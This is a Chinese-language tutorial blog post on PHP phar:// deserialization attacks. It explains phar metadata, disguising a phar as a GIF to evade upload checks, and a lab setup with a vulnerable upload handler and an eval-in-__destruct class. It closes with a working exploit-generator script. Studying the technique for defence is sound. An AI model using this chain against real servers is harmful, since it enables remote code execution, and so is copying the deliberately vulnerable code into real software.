反序列化之phar://学习

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 2018/09/07   Share

概要

来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式，可以在不使用php函数unserialize()的前提下，引起严重的php对象注入漏洞。
这个新的攻击方式被他公开在了美国的BlackHat会议演讲上，演讲主题为：”不为人所知的php反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。我们在RIPS代码分析引擎中添加了对这种新型攻击的检测。

流包装

大多数PHP文件操作允许使用各种URL协议去访问文件路径：如data://，zlib://或php://。
例如

1 2	include('php://filter/read=convert.base64-encode/resource=index.php'); include('data://text/plain;base64,xxxxxxxxxxxx');

phar://也是流包装的一种

phar原理

a stub

可以理解为一个标志，格式为xxx<?php xxx;__HALT_COMPILER();?>，前面内容不限，但必须以__HALT_COMPILER();?>来结尾，否则phar扩展将无法识别这个文件为phar文件。

官方手册

phar的本质是一种压缩文件，其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data，这是上述攻击手法最核心的地方。

demo

根据文件结构我们来自己构建一个phar文件，php内置了一个Phar类来处理相关操作

注意：要将php.ini中的phar.readonly选项设置为Off，否则无法生成phar文件。

phar.php:

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='hu3sky';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

访问后,会生成一个phar.phar在当前目录下。

用winhex打开

可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作，php一大部分的文件系统函数在通过phar://伪协议解析phar文件时，都会将meta-data进行反序列化，测试后受影响的函数如下：

phar_fan.php

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}
include('phar://phar.phar');
?>

输出

将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到，php识别phar文件是通过其文件头的stub，更确切一点来说是__HALT_COMPILER();?>这段代码，对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

<?php
    class TestObject {

    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置stub，增加gif文件头
    $phar ->addFromString('test.txt','test');  //添加要压缩的文件
    $object = new TestObject();
    $object -> data = 'hu3sky';
    $phar -> setMetadata($object);  //将自定义meta-data存入manifest
    $phar -> stopBuffering();
?>

采用这种方法可以绕过很大一部分上传检测。

利用条件

phar文件要能够上传到服务器端。

如file_exists()，fopen()，file_get_contents()，file()等文件操作的函数

要有可用的魔术方法作为“跳板”。

文件操作函数的参数可控，且`:`、`/`、`phar`等特殊字符没有被过滤。

漏洞验证

环境准备

upload_file.php，后端检测文件上传，文件类型是否为gif，文件后缀名是否为gif
upload_file.html 文件上传表单
file_un.php 存在file_exists()，并且存在__destruct()

文件内容

upload_file.php

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }

upload_file.html

<body>
<form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

file_un.php

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);

实现过程

首先是根据file_un.php写一个生成phar的php文件，当然需要绕过gif，所以需要加GIF89a，然后我们访问这个php文件后，生成了phar.phar，修改后缀为gif，上传到服务器，然后利用file_exists，使用phar://执行代码

构造代码

eval.php

<?php
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();